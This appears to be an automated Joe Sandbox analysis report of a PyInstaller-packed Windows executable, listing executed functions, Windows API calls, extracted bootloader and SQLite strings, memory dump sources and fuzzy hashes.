
Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
Instruction ID: 676869768b9c2ed2e92e6f669298153e27006476215f17bd70dfff3e8bfb5d1c
Opcode Fuzzy Hash: 9a0c598da5bacb08a65281ee6853743b6bc645484a6b27ddd69bc7d98502ecbe
Instruction Fuzzy Hash: B8515D22E0C6418AFB10EFB1E4507BDA3B1BB48B58FB44435DE4957689EF39D849C722

Function 00007FF78DA520C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF78DA520F4
SetWindowLongPtrW.USER32 ref: 00007FF78DA52116
GetWindowLongPtrW.USER32 ref: 00007FF78DA52140
InvalidateRect.USER32 ref: 00007FF78DA52160

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: 03e0550839d606f21aba8e6bc4f3cb1ad0373f3e01ede3794949e2d389140e3e
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: 8B11E931B5C14242F654A7A9F548ABA9261FF84780FF44130DB4947BC9ED2DDC89C211

Function 00007FF78DA75B8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF78DA717D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA71803

_get_daylight.LIBCMT ref: 00007FF78DA75CA4
_get_daylight.LIBCMT ref: 00007FF78DA75CB5

Strings

?, xrefs: 00007FF78DA75C35

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 49037f27f8a3fd0af602071961786b5c11050eb40cc6520dd4d88adff463e317
Instruction ID: cf5f229285d5f1b5bad3368ca1dff7463308b852b6448e956f6c752483df55a7
Opcode Fuzzy Hash: 49037f27f8a3fd0af602071961786b5c11050eb40cc6520dd4d88adff463e317
Instruction Fuzzy Hash: A9411B12A0C78245FB24AB25A441B7AD690FB90BA4FB44235EF9C06AD5FF3DDC45C711

Function 00007FF78DA69084 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA690B6

Part of subcall function 00007FF78DA6A9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF78DA72D92,?,?,?,00007FF78DA72DCF,?,?,00000000,00007FF78DA73295,?,?,?,00007FF78DA731C7), ref: 00007FF78DA6A9CE
Part of subcall function 00007FF78DA6A9B8: GetLastError.KERNEL32(?,?,?,00007FF78DA72D92,?,?,?,00007FF78DA72DCF,?,?,00000000,00007FF78DA73295,?,?,?,00007FF78DA731C7), ref: 00007FF78DA6A9D8

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF78DA5CC15), ref: 00007FF78DA690D4

Strings

C:\Users\user\Desktop\9g9LZNE4bH.exe, xrefs: 00007FF78DA690C2

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\Desktop\9g9LZNE4bH.exe
API String ID: 3580290477-3807041592
Opcode ID: 6949f310d66ea20a01752be9fefe254e5f7f697695929ffcc1b4329691481a3a
Instruction ID: 1dcd97196c177f86636857d5f62d8ded1935fd15860b051534bb418523fe64f7
Opcode Fuzzy Hash: 6949f310d66ea20a01752be9fefe254e5f7f697695929ffcc1b4329691481a3a
Instruction Fuzzy Hash: 76417036A0C602C5E754BF65A8408B9A395FB48B94BF54035E94D53B85EF3CD889C362

Function 00007FF78DA6CCA8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF78DA6CDBF
GetLastError.KERNEL32 ref: 00007FF78DA6CDE1

Strings

U, xrefs: 00007FF78DA6CD6B

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
Instruction ID: 0efbc6a871346ba18dc5002c99e2e9583dcc33c369cb90dbca7ce8b0c98a816b
Opcode Fuzzy Hash: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
Instruction Fuzzy Hash: AE41B323B1CA81C1DB20AF65E8447A9AB60FB88794FA04031EE4D87B98FF3CD805C751

Function 00007FF78DA6F628 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF78DA6F668
GetCurrentDirectoryW.KERNEL32 ref: 00007FF78DA6F6BA

Strings

:, xrefs: 00007FF78DA6F67E

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: 3c906c99ff6b46cc0de181ba7a1caf37579b2c2fe8814107475e6c290f9e88a5
Instruction ID: 5caf77bb7a427f7bcc5ee072635b860c76652069f9402c3a4dde291d2f2b1d77
Opcode Fuzzy Hash: 3c906c99ff6b46cc0de181ba7a1caf37579b2c2fe8814107475e6c290f9e88a5
Instruction Fuzzy Hash: E121A562A0C681C2EB24AB55E04467DA3B1FB84B44FF54035DB8D43694EF7CDD49CB62

Function 00007FF78DA5FDB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF78DA5FE08
RaiseException.KERNEL32 ref: 00007FF78DA5FE49

Strings

csm, xrefs: 00007FF78DA5FE36

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
Instruction ID: c29bbc9e51ddcaffc4fb6b46f2ff59d26d71bc30c6d5363a6c18b44b13bb589c
Opcode Fuzzy Hash: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
Instruction Fuzzy Hash: 28111C3261DB8182EB619B15F440669B7E4FB88B88FA84230EECD47759EF3CD955CB01

Function 00007FF78DA707AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA707DC
GetDriveTypeW.KERNEL32 ref: 00007FF78DA7081C

Strings

:, xrefs: 00007FF78DA70805

Memory Dump Source

Source File: 00000000.00000002.2414857769.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000000.00000002.2414826898.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414896299.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414931684.00007FF78DA92000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2414991154.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
Instruction ID: f42e1ba49de68c67b6419abf6421ce930fcc994f958dc09475f3b5992b0d5890
Opcode Fuzzy Hash: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
Instruction Fuzzy Hash: EB01216291C64285F720BF60A465A7EA3B0FF44B48FF40435D58D86695FF2CE948CA26

Analysis Process: 9g9LZNE4bH.exePID: 5860, Parent PID: 6176COMMON

Execution Graph

Execution Coverage:	8.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.4%
Total number of Nodes:	462
Total number of Limit Nodes:	33

Executed Functions

Function 00007FF78DA51000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF78DA53C61
pyi-python-flag, xrefs: 00007FF78DA53AD6
bye-runtime-tmpdir, xrefs: 00007FF78DA53B68
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF78DA539DE
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF78DA53D12
Could not create temporary directory!, xrefs: 00007FF78DA53CBF
pkg, xrefs: 00007FF78DA539BE
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF78DA53EA6
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF78DA53BE8
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF78DA53A0B, 00007FF78DA53CD4, 00007FF78DA53F6B
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF78DA53E0A
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF78DA53A17, 00007FF78DA53A2F, 00007FF78DA53A9B
Failed to start splash screen!, xrefs: 00007FF78DA53ED4
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF78DA53882, 00007FF78DA538AF
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF78DA53971
_PYI_SPLASH_IPC, xrefs: 00007FF78DA53A23, 00007FF78DA53EF5
Py_GIL_DISABLED, xrefs: 00007FF78DA53AF4
_PYI_ARCHIVE_FILE, xrefs: 00007FF78DA538D2, 00007FF78DA539FF
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF78DA53B32
Failed to remove temporary directory: %s, xrefs: 00007FF78DA53FC3
pyi-disable-windowed-traceback, xrefs: 00007FF78DA53BB2
Failed to load splash screen resources!, xrefs: 00007FF78DA53E85
Failed to convert DLL search path!, xrefs: 00007FF78DA53DDC
VCRUNTIME140.dll, xrefs: 00007FF78DA53DB1
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF78DA53EBB
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF78DA53D35
pyi-contents-directory, xrefs: 00007FF78DA53B8D
MEI, xrefs: 00007FF78DA53933

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
API String ID: 2776309574-3273434969
Opcode ID: c4287787c746abb56e9331fa3c8956d7c4ae80ab217cba986f551fa52fb8bac5
Instruction ID: 1a132817db7def829fbb78c57e271a0e3ee696cf273a2a4c8b821708b2050aec
Opcode Fuzzy Hash: c4287787c746abb56e9331fa3c8956d7c4ae80ab217cba986f551fa52fb8bac5
Instruction Fuzzy Hash: C2329F25A0C68291EA15BBA19454ABDE3B1BF85740FF44431DA5D832D2FF2CED5CC322

Function 00007FF78DA769D4 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF78DA76708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA76749
Part of subcall function 00007FF78DA76708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA767C7
Part of subcall function 00007FF78DA76708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF78DA76818

CreateFileW.KERNEL32 ref: 00007FF78DA76ADA
CreateFileW.KERNEL32 ref: 00007FF78DA76B2A
GetLastError.KERNEL32 ref: 00007FF78DA76B5A
GetFileType.KERNEL32 ref: 00007FF78DA76B6F
GetLastError.KERNEL32 ref: 00007FF78DA76B79
CloseHandle.KERNEL32 ref: 00007FF78DA76BAC
CloseHandle.KERNEL32 ref: 00007FF78DA76D0F
CreateFileW.KERNEL32 ref: 00007FF78DA76D44
GetLastError.KERNEL32 ref: 00007FF78DA76D53

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction ID: 86c50e141fdaaecc99c5f8c7d154407f4b13856111a501c7bea3cad232770921
Opcode Fuzzy Hash: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction Fuzzy Hash: F9C10032B28A4185EB50EFA4D480AAC7765FB49B98FA40235DE6E577D4EF38D819C310

Function 00007FF8A885EEC0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 358COMMON

Download Yara Rule

APIs

00007FF8BFAB19C0.VCRUNTIME140 ref: 00007FF8A885EF2A

Strings

out of memory, xrefs: 00007FF8A885EF93
statement too long, xrefs: 00007FF8A885F0CD
database schema is locked: %s, xrefs: 00007FF8A885F077

Memory Dump Source

Source File: 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A87E0000, based on PE: true

Associated: 00000002.00000002.2407299776.00007FF8A87E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8932000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8934000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8949000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407603885.00007FF8A894B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407635609.00007FF8A894C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8a87e0000_9g9LZNE4bH.jbxd

Similarity

API ID: 00007
String ID: database schema is locked: %s$out of memory$statement too long
API String ID: 3568877910-1046679716
Opcode ID: 3b5cb617efb2b80c3c8dfa67a96b6c2f85bc2abe2ff2955210009790a5627e4f
Instruction ID: 6cf8b64ca72e028d89caffc0aa9be4a018f7bcd8ca3e4f41fa2eba5b381df87d
Opcode Fuzzy Hash: 3b5cb617efb2b80c3c8dfa67a96b6c2f85bc2abe2ff2955210009790a5627e4f
Instruction Fuzzy Hash: 7CF18122B0A682A6FB29DB21D4043BE67A1FF45BC4F085175DA4D47795DF7CE481C324

Function 00007FF8A87FFAB0 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 590COMMON

Download Yara Rule

APIs

00007FF8C6125630.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8A87FFB18

Strings

:memory:, xrefs: 00007FF8A87FFB0E

Memory Dump Source

Source File: 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A87E0000, based on PE: true

Associated: 00000002.00000002.2407299776.00007FF8A87E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8932000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8934000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8949000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407603885.00007FF8A894B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407635609.00007FF8A894C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8a87e0000_9g9LZNE4bH.jbxd

Similarity

API ID: 00007C6125630
String ID: :memory:
API String ID: 1529501491-2920599690
Opcode ID: 223c0e835e9280b863b94f86a1bb581c8596e66e5017fd81c2f0212ddf9a21fd
Instruction ID: 5f7e64c4e8fe407ba3509b78d5d4dd8a13e0befd6d51cfe6829c69f35903aa7b
Opcode Fuzzy Hash: 223c0e835e9280b863b94f86a1bb581c8596e66e5017fd81c2f0212ddf9a21fd
Instruction Fuzzy Hash: BE42B122E0E786A2EB658F26945433927A0FF95BC5F094139DE4E53791DF7CE890C328

Function 00007FF78DA592F0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF78DA59323
FindClose.KERNEL32 ref: 00007FF78DA59332

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction ID: 7acfea21dac7172148ce9ffb628e02fbf80a6bfeb7f581dcf08e414705153f4c
Opcode Fuzzy Hash: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction Fuzzy Hash: F9F0496261C641C6F7609F90B44DB76A360BB44778F740235D9AD456D4EF3CD44DCA11

Function 00007FF8A87EF490 Relevance: 1.7, APIs: 1, Instructions: 204COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 00007FF8A87EF4B5

Memory Dump Source

Source File: 00000002.00000002.2407338183.00007FF8A87E1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A87E0000, based on PE: true

Associated: 00000002.00000002.2407299776.00007FF8A87E0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8932000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8934000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407338183.00007FF8A8949000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407603885.00007FF8A894B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2407635609.00007FF8A894C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8a87e0000_9g9LZNE4bH.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 1d4a23596340e2b851e9cbd1cd717de596e1e73bc4475c85f957dec04d105ea9
Instruction ID: 6015aac9747b9a561202ad81fa8d623abbe7ea703f7f3c75d5a4f1ef5f22383b
Opcode Fuzzy Hash: 1d4a23596340e2b851e9cbd1cd717de596e1e73bc4475c85f957dec04d105ea9
Instruction Fuzzy Hash: DAA13E24E4BB07A2FE55CF65A45833422A0FF65BC6F580579C80D57BA0EF7CE4519328

Function 00007FF78DA51950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF78DA57F80: _fread_nolock.LIBCMT ref: 00007FF78DA5802A

_fread_nolock.LIBCMT ref: 00007FF78DA51A1B

Part of subcall function 00007FF78DA52910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF78DA51B6A), ref: 00007FF78DA5295E

Strings

Failed to seek to cookie position!, xrefs: 00007FF78DA519EE
Error on file., xrefs: 00007FF78DA51B8D
Could not allocate buffer for TOC!, xrefs: 00007FF78DA51B1B
Failed to read cookie!, xrefs: 00007FF78DA51A2B
malloc, xrefs: 00007FF78DA51B22
calloc, xrefs: 00007FF78DA51A68
fseek, xrefs: 00007FF78DA519F5
Could not allocate memory for archive structure!, xrefs: 00007FF78DA51A61
Could not read full TOC!, xrefs: 00007FF78DA51B55
fread, xrefs: 00007FF78DA51A32, 00007FF78DA51B5C
MEI, xrefs: 00007FF78DA51991

Memory Dump Source

Source File: 00000002.00000002.2405628550.00007FF78DA51000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78DA50000, based on PE: true

Associated: 00000002.00000002.2405593695.00007FF78DA50000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405669268.00007FF78DA7B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA8E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405704192.00007FF78DA91000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2405770842.00007FF78DA94000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff78da50000_9g9LZNE4bH.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 53af67305d532fbc314f4c998b34aeb01e511dd16d42ec936fdd9680fdd2256a
Instruction ID: f150497cc9db9e2cc3b7950791f2096e1d46cd7d836e82e32eafdcd02b72e33c
Opcode Fuzzy Hash: 53af67305d532fbc314f4c998b34aeb01e511dd16d42ec936fdd9680fdd2256a
Instruction Fuzzy Hash: D5816371A0D68686EB60FB64E040AB9B3A0FF44744FB44431D98D87785FE3DE949C762

Function 00007FF78DA51470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF78DA51518
malloc, xrefs: 00007FF78DA5151F
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF78DA514DE
fseek, xrefs: 00007FF78DA514E5
